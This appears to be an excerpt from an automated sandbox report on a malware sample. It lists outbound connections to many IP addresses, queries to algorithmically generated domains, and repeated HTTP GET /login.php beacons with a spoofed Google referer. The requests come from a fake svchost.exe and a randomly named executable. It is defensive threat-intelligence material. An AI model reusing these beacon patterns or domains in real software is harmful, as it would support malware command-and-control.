Source: C:\Windows\apppatch\svchost.exe	Network Connect: 106.15.232.163 8000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 64.190.63.136 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 3.94.10.34 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 72.52.179.174 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: qexyhap.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 45.79.19.196 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 154.85.183.50 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 64.225.91.73 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: purygeg.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 52.34.198.229 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 75.2.71.199 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.150.10.48 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 23.253.46.64 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 199.191.50.83 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 13.248.169.48 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.224.212.210 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 76.223.67.189 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: lyryjir.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 18.208.156.248 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 199.59.243.227 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 208.100.26.245 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.224.182.252 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: vojycit.com
Source: C:\Windows\apppatch\svchost.exe	Domain query: lymylen.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 188.114.97.3 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 44.221.84.105 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 154.212.231.82 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 188.114.96.3 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 85.17.31.122 80	Jump to behavior

Queries Google from non browser process on port 80

Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww8.galyqaz.com Connection: Keep-Alive Cookie: vsid=903vr478893028933998491
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww3.galyqaz.com Connection: Keep-Alive Cookie: vsid=903vr478893028933998491
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygynud.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php?sub1=20241112-0450-397d-84b8-860db74cb63b HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347439.2338786
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php?subid1=20241112-0450-39f1-837b-46255b9c1f17 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347439.3564880
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyhyg.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyhiz.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Cookie: __tad=1731347439.3564880
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Cookie: __tad=1731347439.2338786
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php?sub1=20241112-0450-5851-9938-0bdfa7f33a56 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347439.2338786
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php?subid1=20241112-0450-586c-82c6-824410e64c84 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347439.3564880; parking_session=b097eaca-ea1a-4a8d-8bee-a2968c7eba7b
Source: C:\Windows\apppatch\svchost.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
